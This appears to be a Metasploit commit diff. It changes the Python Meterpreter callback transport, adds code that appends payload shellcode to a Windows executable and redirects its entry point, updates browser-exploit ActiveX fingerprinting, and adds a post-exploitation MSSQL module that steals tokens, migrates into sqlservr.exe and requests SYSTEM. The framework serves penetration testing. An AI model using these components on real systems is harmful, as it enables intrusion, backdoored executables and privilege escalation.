Merging upstream/master

bug/bundler_fix
OJ 2015-03-30 09:12:20 +10:00
commit 17dc2b184d
85 changed files with 3804 additions and 861 deletions

12
.gitignore vendored
View File

@ -67,17 +67,7 @@ external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by
# the meterpreter_bins gem.
data/meterpreter/elevator.*.dll
data/meterpreter/ext_server_espia.*.dll
data/meterpreter/ext_server_extapi.*.dll
data/meterpreter/ext_server_incognito.*.dll
data/meterpreter/ext_server_kiwi.*.dll
data/meterpreter/ext_server_lanattacks.*.dll
data/meterpreter/ext_server_mimikatz.*.dll
data/meterpreter/ext_server_priv.*.dll
data/meterpreter/ext_server_stdapi.*.dll
data/meterpreter/metsrv.*.dll
data/meterpreter/screenshot.*.dll
data/meterpreter/*.dll
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,

View File

@ -9,7 +9,7 @@ PATH
json
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.29.0)
meterpreter_bins (= 0.0.16)
meterpreter_bins (= 0.0.17)
msgpack
nokogiri
packetfu (= 1.1.9)
@ -132,7 +132,7 @@ GEM
pg
railties (< 4.0.0)
recog (~> 1.0)
meterpreter_bins (0.0.16)
meterpreter_bins (0.0.17)
method_source (0.8.2)
mime-types (1.25.1)
mini_portile (0.6.1)

View File

@ -264,7 +264,7 @@ def tlv_pack(*args):
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
else:
value = tlv['value']
if sys.version_info[0] < 3 and isinstance(value, __builtins__['unicode']):
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
@ -393,11 +393,17 @@ class PythonMeterpreter(object):
print(msg)
def driver_init_http(self):
opener_args = []
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname=False
ssl_ctx.verify_mode=ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if HTTP_PROXY:
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
opener = urllib.build_opener(proxy_handler)
else:
opener = urllib.build_opener()
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
opener = urllib.build_opener(*opener_args)
if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener)

View File

@ -187,13 +187,66 @@ module Metasploit
error_message
end
# Sends a HTTP request with Rex
#
# @param [Hash] Native support includes the following (also see Rex::Proto::Http::Request#request_cgi)
# @option opts[String] 'host' The remote host
# @option opts[Fixnum] 'port' The remote port
# @option opts[Boolean] 'ssl' The SSL setting, TrueClass or FalseClass
# @option opts[String] 'proxies' The proxies setting
# @option opts[Credential] 'credential' A credential object
# @option opts['Hash'] 'context' A context
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
# @return [Rex::Proto::Http::Response] The HTTP response
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
def send_request(opts)
rhost = opts['host'] || host
rport = opts['rport'] || port
cli_ssl = opts['ssl'] || ssl
cli_ssl_version = opts['ssl_version'] || ssl_version
cli_proxies = opts['proxies'] || proxies
username = opts['credential'] ? opts['credential'].public : ''
password = opts['credential'] ? opts['credential'].private : ''
realm = opts['credential'] ? opts['credential'].realm : nil
context = opts['context'] || { 'Msf' => framework, 'MsfExploit' => framework_module}
res = nil
cli = Rex::Proto::Http::Client.new(
rhost,
rport,
context,
cli_ssl,
cli_ssl_version,
cli_proxies,
username,
password
)
configure_http_client(cli)
if realm
cli.set_config('domain' => credential.realm)
end
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Attempt a single login with a single credential against the target.
#
# @param credential [Credential] The credential object to attempt to
# login with.
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
@ -209,32 +262,13 @@ module Metasploit
result_opts[:service_name] = 'http'
end
http_client = Rex::Proto::Http::Client.new(
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
proxies, credential.public, credential.private
)
configure_http_client(http_client)
if credential.realm
http_client.set_config('domain' => credential.realm)
end
begin
http_client.connect
request = http_client.request_cgi(
'uri' => uri,
'method' => method
)
response = http_client.send_recv(request)
response = send_request('credential'=>credential, 'uri'=>uri, 'method'=>method)
if response && response.code == 200
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
rescue Rex::ConnectionError => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
ensure
http_client.close
end
Result.new(result_opts)

View File

@ -27,41 +27,6 @@ module Metasploit
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Request#request_raw)
# @raise [Rex::ConnectionError] Something has gone wrong while sending the HTTP request
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
res = nil
cli = Rex::Proto::Http::Client.new(host, port,
{
'Msf' => framework,
'MsfExploit' => framework_module
},
ssl,
ssl_version,
proxies
)
configure_http_client(cli)
begin
cli.connect
req = cli.request_cgi(opts)
res = cli.send_recv(req)
rescue ::Errno::EPIPE, ::Timeout::Error => e
# We are trying to mimic the same type of exception rescuing in
# Msf::Exploit::Remote::HttpClient. But instead of returning nil, we'll consistently
# raise Rex::ConnectionError so the #attempt_login can return the error message back
# to the login module.
raise Rex::ConnectionError, e.message
ensure
cli.close
end
res
end
# Returns the latest sid from Symantec Web Gateway.
#
# @returns [String] The PHP Session ID for Symantec Web Gateway login

View File

@ -44,7 +44,7 @@ module Metasploit
untested_payloads_pathname = Pathname.new 'log/untested-payloads.log'
if untested_payloads_pathname.exist?
tool_path = 'tools/missing-payload-tests.rb'
tool_path = 'tools/missing_payload_tests.rb'
$stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \
"`spec/modules/payloads_spec.rb` to test those payload ancestor reference names."

View File

@ -0,0 +1,51 @@
# -*- coding: binary -*-
module Msf
module Exe
require 'metasm'
require 'msf/core/exe/segment_injector'
class SegmentAppender < SegmentInjector
def payload_stub(prefix)
# TODO: Implement possibly helpful payload obfuscation
asm = "new_entrypoint:\n#{prefix}\n"
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded + @payload
end
def generate_pe
# Copy our Template into a new PE
pe_orig = Metasm::PE.decode_file(template)
pe = pe_orig.mini_copy
# Copy the headers and exports
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
pe.header.time = pe_orig.header.time
# Don't rebase if we can help it since Metasm doesn't do relocations well
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
# TODO: Look at supporting DLLs in the future
prefix = ''
# Create a new section
s = Metasm::PE::Section.new
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
s.encoded = payload_stub prefix
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
pe.sections << s
pe.invalidate_header
# Change the entrypoint to our new section
pe.optheader.entrypoint = 'new_entrypoint'
pe.cpu = pe_orig.cpu
pe.encode_string
end
end
end
end

View File

@ -59,20 +59,11 @@ module Exe
EOS
end
def payload_as_asm
asm = ''
@payload.each_byte do |byte|
asm << "db " + sprintf("0x%02x", byte) + "\n"
end
return asm
end
def payload_stub(prefix)
asm = "hook_entrypoint:\n#{prefix}\n"
asm << create_thread_stub
asm << payload_as_asm
shellcode = Metasm::Shellcode.assemble(processor, asm)
shellcode.encoded
shellcode.encoded + @payload
end
def generate_pe

View File

@ -49,24 +49,30 @@ module Msf
# Requirements a browser module can define in either BrowserRequirements or in targets
REQUIREMENT_KEY_SET = Set.new([
:source, # Either 'script' or 'headers'
:ua_name, # Example: MSIE
:ua_ver, # Example: 8.0, 9.0
:os_name, # Example: Windows 7, Linux
:os_device, # Example: iPad, iPhone, etc
:os_vendor, # Example: Microsoft, Ubuntu, Apple, etc
:os_sp, # Example: SP2
:language, # Example: en-us
:arch, # Example: x86
:proxy, # 'true' or 'false'
:silverlight, # 'true' or 'false'
:office, # Example: "2007", "2010"
:java, # Example: 1.6, 1.6.0.0
:clsid, # ActiveX clsid. Also requires the :method key
:method, # ActiveX method. Also requires the :clsid key
:mshtml_build, # mshtml build. Example: "65535"
:flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE)
:vuln_test # Example: "if(window.MyComponentIsInstalled)return true;"
:source, # Return either 'script' or 'headers'
:ua_name, # Example: Returns 'MSIE'
:ua_ver, # Example: Returns '8.0', '9.0'
:os_name, # Example: Returns 'Windows 7', 'Linux'
:os_device, # Example: Returns 'iPad', 'iPhone', etc
:os_vendor, # Example: Returns 'Microsoft', 'Ubuntu', 'Apple', etc
:os_sp, # Example: Returns 'SP2'
:language, # Example: Returns 'en-us'
:arch, # Example: Returns 'x86'
:proxy, # Returns 'true' or 'false'
:silverlight, # Returns 'true' or 'false'
:office, # Example: Returns "2007", "2010"
:java, # Example: Return '1.6', or maybe '1.6.0.0' (depends)
:mshtml_build, # mshtml build. Example: Returns "65535"
:flash, # Example: Returns "12.0" (chrome/ff) or "12.0.0.77" (IE)
:vuln_test, # Example: "if(window.MyComponentIsInstalled)return true;",
# :activex is a special case.
# When you set this requirement in your module, this is how it should be:
# [{:clsid=>'String', :method=>'String'}]
# Where each Hash is a test case
# But when BES receives this information, the JavaScript will return this format:
# "{CLSID}=>Method=>Boolean;"
# Also see: #has_bad_activex?
:activex
])
def initialize(info={})
@ -105,68 +111,61 @@ module Msf
super
end
#
# Returns the custom 404 URL set by the user
#
# @return [String]
#
def get_custom_404_url
datastore['Custom404'].to_s
end
#
# Allows a block of code to access BES resources in a thread-safe fashion
#
# @param block [Proc] Block of code to sync
#
def sync(&block)
(@mutex ||= Mutex.new).synchronize(&block)
end
#
# Returns the resource (URI) to the module to allow access to on_request_exploit
#
# @return [String] URI to the exploit page
#
def get_module_resource
"#{get_resource.to_s.chomp("/")}/#{@exploit_receiver_page}/"
end
#
# Returns the absolute URL to the module's resource that points to on_request_exploit
#
# @return [String] absolute URI to the exploit page
#
def get_module_uri
"#{get_uri.chomp("/")}/#{@exploit_receiver_page}"
end
#
# Returns the current target
#
def get_target
@target
end
#
# Returns a hash of recognizable requirements
#
# @param reqs [Hash] A hash that contains data for the requirements
# @return [Hash] A hash of requirements
#
def extract_requirements(reqs)
tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)}
# Make sure keys are always symbols
Hash[tmp.map{|(k,v)| [k.to_sym,v]}]
end
#
# Sets the target automatically based on what requirements are met.
# If there's a possible matching target, it will also merge the requirements.
# You can use the get_target() method to retrieve the most current target.
#
# @param profile [Hash] The profile to check
#
def try_set_target(profile)
match_counts = []
target_requirements = {}
@ -195,30 +194,36 @@ module Msf
end
end
#
# Returns true if there's a bad ActiveX, otherwise false.
# @param ax [String] The raw activex the JavaScript detection will return in this format:
# "{CLSID}=>Method=>Boolean;"
# @return [Boolean] True if there's a bad ActiveX, otherwise false
def has_bad_activex?(ax)
ax.split(';').each do |a|
bool = a.split('=>')[2]
if bool == 'false'
return true
end
end
false
end
# Returns an array of items that do not meet the requirements
#
# @param profile [Hash] The profile to check
# @return [Array] An array of requirements not met
#
def get_bad_requirements(profile)
bad_reqs = []
# At this point the check is already done.
# If :activex is true, that means the clsid + method had a match,
# if not, then false.
if @requirements[:clsid] and @requirements[:method]
@requirements[:activex] = 'true' # Script passes boolean as string
end
@requirements.each do |k, v|
# Special keys to ignore because the script registers this as [:activex] = true or false
next if k == :clsid or k == :method
expected = k != :vuln_test ? v : 'true'
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
if k == :vuln_test
if k == :activex
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
elsif k == :vuln_test
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
elsif v.is_a? Regexp
bad_reqs << k if profile[k.to_sym] !~ v
@ -232,7 +237,6 @@ module Msf
bad_reqs
end
#
# Returns the target profile based on the tag. Each profile has the following structure:
# 'cookie_name' =>
# {
@ -253,7 +257,7 @@ module Msf
#
# If the source is 'script', the profile might have even more information about plugins:
# 'office' : The version of Microsoft Office (IE only)
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
# 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only)
# 'java' : The Java version
# 'mshtml_build' : The MSHTML build version
# 'flash' : The Flash version
@ -261,45 +265,41 @@ module Msf
#
# @param tag [String] Either a cookie or IP + User-Agent
# @return [Hash] The profile found. If not found, returns nil
#
def get_profile(tag)
sync do
return @target_profiles[tag]
end
end
#
# Updates information for a specific profile
#
# @param target_profile [Hash] The profile to update
# @param key [Symbol] The symbol to use for the hash
# @param value [String] The value to assign
#
def update_profile(target_profile, key, value)
sync do
target_profile[key] = value
end
end
#
# Initializes a profile, if it did not previously exist
#
# @param tag [String] A unique string as a way to ID the profile
#
def init_profile(tag)
sync do
@target_profiles[tag] ||= {}
end
end
#
# Retrieves a tag.
# First it obtains the tag from the browser's "Cookie" header.
# If the header is empty (possible if the browser has cookies disabled),
# then it will return a tag based on IP + the user-agent.
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def retrieve_tag(cli, request)
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
@ -317,13 +317,12 @@ module Msf
tag
end
#
# Registers target information to @target_profiles
#
# @param source [Symbol] Either :script, or :headers
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def process_browser_info(source, cli, request)
tag = retrieve_tag(cli, request)
init_profile(tag)
@ -361,23 +360,21 @@ module Msf
})
end
#
# Checks if the target is running a proxy
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Boolean] True if found, otherwise false
#
def has_proxy?(request)
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
!proxy_header_set.empty?
end
#
# Returns the code for client-side detection
#
# @param user_agent [String] The user-agent of the browser
# @return [String] Returns the HTML for detection
#
def get_detection_html(user_agent)
ua_info = fingerprint_user_agent(user_agent)
os = ua_info[:os_name]
@ -418,11 +415,20 @@ module Msf
d['office'] = ie_addons_detect.getMsOfficeVersion();
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
<%
clsid = @requirements[:clsid]
method = @requirements[:method]
if clsid and method
activex = @requirements[:activex]
if activex
activex.each do \|a\|
clsid = a[:clsid]
method = a[:method]
%>
d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
d['activex'] = "";
if (ax == true) {
d['activex'] += "<%=clsid%>=><%=method%>=>true;";
} else {
d['activex'] += "<%=clsid%>=><%=method%>=>false;";
}
<% end %>
<% end %>
<% end %>
@ -438,7 +444,7 @@ module Msf
%Q|
<script>
#{js}
#{code}
</script>
<noscript>
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
@ -462,12 +468,11 @@ module Msf
cookie
end
#
# Handles exploit stages.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def on_request_uri(cli, request)
case request.uri
when '/', get_resource.chomp("/")
@ -548,18 +553,17 @@ module Msf
end
end
#
# Overriding method. The module should override this.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @param browser_info [Hash] The target profile
#
def on_request_exploit(cli, request, browser_info)
raise NoMethodError, "Module must define its own on_request_exploit method"
end
#
# Converts an ERB-based exploit template into HTML, and sends to client
#
# @param cli [Socket] Socket for the browser
@ -567,7 +571,6 @@ module Msf
# then this is handled as an Array, with the first element
# being the HTML, and the second element is the binding object.
# @param headers [Hash] The custom HTTP headers to include in the response
#
def send_exploit_html(cli, template, headers={})
html = ''
if template.class == Array
@ -578,13 +581,12 @@ module Msf
send_response(cli, html, headers)
end
#
# Generates a target-specific payload, should be called by the module
#
# @param cli [Socket] Socket for the browser
# @param browser_info [Hash] The target profile
# @return [String] The payload
#
def get_payload(cli, browser_info)
arch = browser_info[:arch]
platform = browser_info[:os_name]
@ -618,9 +620,8 @@ module Msf
private
#
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead.
#
def send_not_found(cli)
custom_404_url = get_custom_404_url
if custom_404_url.blank?

View File

@ -45,7 +45,7 @@ module Msf
register_advanced_options(
[
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptBool.new('SMBDirect', [ false, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),

View File

@ -77,6 +77,9 @@ module Handler
# Initialize the pending_connections counter to 0
self.pending_connections = 0
# Initialize the sessions counter to 0
self.sessions = 0
# Create the waiter event with auto_reset set to false so that
# if a session is ever created, waiting on it returns immediately.
self.session_waiter_event = Rex::Sync::Event.new(false, false)
@ -234,10 +237,14 @@ protected
# Decrement the pending connections counter now that we've processed
# one session.
self.pending_connections -= 1
# Count the number of sessions we have registered
self.sessions += 1
end
attr_accessor :session_waiter_event # :nodoc:
attr_accessor :pending_connections # :nodoc:
attr_accessor :sessions # :nodoc:
end

View File

@ -3,6 +3,8 @@ require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'msf/core/handler/reverse_http/uri_checksum'
require 'rex/payloads/meterpreter/patch'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/windows/verify_ssl'
module Msf
module Handler
@ -16,6 +18,7 @@ module ReverseHttp
include Msf::Handler
include Msf::Handler::ReverseHttp::UriChecksum
include Msf::Payload::Windows::VerifySsl
#
# Returns the string representation of the handler type
@ -160,7 +163,7 @@ module ReverseHttp
def stop_handler
if self.service
self.service.remove_resource("/")
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0
Rex::ServiceManager.stop_service(self.service) if self.sessions == 0
end
end
@ -217,6 +220,8 @@ protected
uri_match = process_uri_resource(req.relative_resource)
self.pending_connections += 1
# Process the requested resource.
case uri_match
when /^\/INITPY/
@ -252,7 +257,6 @@ protected
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,
})
self.pending_connections += 1
when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
@ -291,12 +295,15 @@ protected
blob = obj.stage_payload
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
#
# Patch options into the payload
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
:ssl => ssl?,
:url => url,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
@ -304,7 +311,7 @@ protected
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
:proxy_pass => datastore['PayloadProxyPass'])
resp.body = encode_stage(blob)
@ -340,6 +347,7 @@ protected
resp.code = 200
resp.message = "OK"
resp.body = datastore['HttpUnknownRequestResponse'].to_s
self.pending_connections -= 1
end
cli.send_response(resp) if (resp)

View File

@ -43,7 +43,8 @@ module ReverseHttps
register_advanced_options(
[
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"])
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"])
], Msf::Handler::ReverseHttps)
end

View File

@ -108,8 +108,7 @@ module Payload::Windows::ReverseWinHttp
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
#
@ -121,7 +120,7 @@ module Payload::Windows::ReverseWinHttp
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
if opts[:ssl] && opts[:verify_cert_hash]
verify_ssl = true
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
end

View File

@ -2,7 +2,7 @@
require 'msf/core'
require 'msf/core/payload/windows/reverse_winhttp'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/windows/verify_ssl'
module Msf
@ -17,6 +17,7 @@ module Msf
module Payload::Windows::ReverseWinHttps
include Msf::Payload::Windows::ReverseWinHttp
include Msf::Payload::Windows::VerifySsl
#
# Register reverse_winhttps specific options
@ -49,27 +50,13 @@ module Payload::Windows::ReverseWinHttps
#
def generate
verify_cert = false
verify_cert_hash = nil
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
unless datastore['HandlerSSLCert']
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
else
verify_cert = true
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
end
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
end
end
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
if verify_cert_hash
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
end
@ -78,7 +65,6 @@ module Payload::Windows::ReverseWinHttps
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri,
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount'])
end
@ -89,7 +75,6 @@ module Payload::Windows::ReverseWinHttps
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount']
}

View File

@ -1,6 +1,7 @@
#-*- coding: binary -*-
require 'msf/core'
require 'rex/payloads/meterpreter/patch'
module Msf
@ -75,10 +76,12 @@ module Payload::Windows::StagelessMeterpreter
# the URL might not be given, as it might be patched in some other way
if url
url = "s#{url}\x00"
location = dll.index("https://#{'X' * 256}")
if location
dll[location, url.length] = url
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
# If the patching failed this could mean that we are somehow
# working with outdated binaries, so try to patch with the
# old stuff.
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
end
end

View File

@ -0,0 +1,36 @@
# -*- coding: binary -*-
require 'msf/core'
require 'rex/parser/x509_certificate'
module Msf
###
#
# Implements SSL validation check options
#
###
module Payload::Windows::VerifySsl
#
# Get the SSL hash from the certificate, if required.
#
def get_ssl_cert_hash(verify_cert, handler_cert)
unless verify_cert.to_s =~ /^(t|y|1)/i
return nil
end
unless handler_cert
raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured"
end
hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert)
print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}")
hash
end
end
end

View File

@ -0,0 +1,210 @@
# -*- coding: binary -*-
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/mssql_commands'
module Msf
class Post
module Windows
module MSSQL
# @return [String, nil] contains the identified SQL command line client
attr_accessor :sql_client
include Msf::Exploit::Remote::MSSQL_COMMANDS
include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv
# Identifies the Windows Service matching the SQL Server instance name
#
# @param [String] instance the SQL Server instance name to locate
# @return [Hash, nil] the Windows Service instance
def check_for_sqlserver(instance = nil)
target_service = nil
each_service do |service|
if instance.to_s.strip.empty?
# Target default instance
if service[:display] =~ /SQL Server \(|^MSSQLSERVER|^MSSQL\$/i &&
service[:display] !~ /OLAPService|ADHelper/i &&
service[:pid].to_i > 0
target_service = service
break
end
else
if (
service[:display].downcase.include?("SQL Server (#{instance}".downcase) || #2k8
service[:display].downcase.include?("MSSQL$#{instance}".downcase) || #2k
service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || #2k5
service[:display].downcase == instance.downcase # If the user gets very specific
) &&
service[:display] !~ /OLAPService|ADHelper/i &&
service[:pid].to_i > 0
target_service = service
break
end
end
end
if target_service
target_service.merge!(service_info(target_service[:name]))
end
target_service
end
# Identifies a valid SQL Server command line client on the host and sets
# @sql_client
#
# @see #sql_client
# @return [String, nil] the SQL command line client
def get_sql_client
client = nil
if check_sqlcmd
client = 'sqlcmd'
elsif check_osql
client = 'osql'
end
@sql_client = client
client
end
# Attempts to run the osql command line tool
#
# @return [Boolean] true if osql is present
def check_osql
result = run_cmd('osql -?')
result =~ /(SQL Server Command Line Tool)|(usage: osql)/i
end
# Attempts to run the sqlcmd command line tool
#
# @return [Boolean] true if sqlcmd is present
def check_sqlcmd
result = run_cmd('sqlcmd -?')
result =~ /SQL Server Command Line Tool/i
end
# Runs a SQL query using the identified command line tool
#
# @param [String] query the query to execute
# @param [String] instance the SQL instance to target
# @param [String] server the SQL server to target
# @return [String] the result of query
def run_sql(query, instance = nil, server = '.')
target = server
if instance && instance.downcase != 'mssqlserver'
target = "#{server}\\#{instance}"
end
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
vprint_status(cmd)
run_cmd(cmd)
end
# Executes a hidden command
#
# @param [String] cmd the command line to execute
# @param [Boolean] token use the current thread token
# @return [String] the results from the command
#
# @note This may fail as SYSTEM if the current process
# doesn't have sufficient privileges to duplicate a token,
# e.g. SeAssignPrimaryToken
def run_cmd(cmd, token = true)
opts = { 'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token }
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
res = ""
while (d = process.channel.read)
break if d == ""
res << d
end
process.channel.close
process.close
res
end
# Attempts to impersonate the user of the supplied service
# If the process has the appropriate privileges it will attempt to
# steal a token to impersonate, otherwise it will attempt to migrate
# into the service process.
#
# @note This may cause the meterpreter session to migrate!
#
# @param [Hash] service the service to target
# @return [Boolean] true if impersonated successfully
def impersonate_sql_user(service)
return false if service.nil? || service[:pid].nil? || service[:pid] <= 0
pid = service[:pid]
vprint_status("Current user: #{session.sys.config.getuid}")
current_privs = client.sys.config.getprivs
if current_privs.include?('SeImpersonatePrivilege') ||
current_privs.include?('SeTcbPrivilege') ||
current_privs.include?('SeAssignPrimaryTokenPrivilege')
username = nil
session.sys.process.each_process do |process|
if process['pid'] == pid
username = process['user']
break
end
end
return false unless username
session.core.use('incognito') unless session.incognito
vprint_status("Attemping to impersonate user: #{username}")
res = session.incognito.incognito_impersonate_token(username)
if res =~ /Successfully/i
print_good("Impersonated user: #{username}")
return true
else
return false
end
else
# Attempt to migrate to target sqlservr.exe process
# Migrating works, but I can't rev2self after its complete
print_warning("No SeImpersonatePrivilege, attempting to migrate to process #{pid}...")
begin
session.core.migrate(pid)
rescue Rex::RuntimeError => e
print_error(e.to_s)
return false
end
vprint_status("Current user: #{session.sys.config.getuid}")
print_good("Successfully migrated to sqlservr.exe process #{pid}")
end
true
end
# Attempts to escalate the meterpreter session to SYSTEM
#
# @return [Boolean] true if escalated successfully or user is already SYSTEM
def get_system
print_status("Checking if user is SYSTEM...")
if is_system?
print_good("User is SYSTEM")
return true
else
# Attempt to get LocalSystem privileges
print_warning("Attempting to get SYSTEM privileges...")
system_status = session.priv.getsystem
if system_status && system_status.first
print_good("Success, user is now SYSTEM")
return true
else
print_error("Unable to obtained SYSTEM privileges")
return false
end
end
end
end # MSSQL
end # Windows
end # Post
end # Msf

View File

@ -8,6 +8,12 @@ module Msf::Post::Windows::Runas
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
include Msf::Post::Windows::Error
ERROR = Msf::Post::Windows::Error
MAX_PATH = 260
STARTF_USESHOWWINDOW = 0x00000001
SW_HIDE = 0
def shell_execute_exe(filename = nil, path = nil)
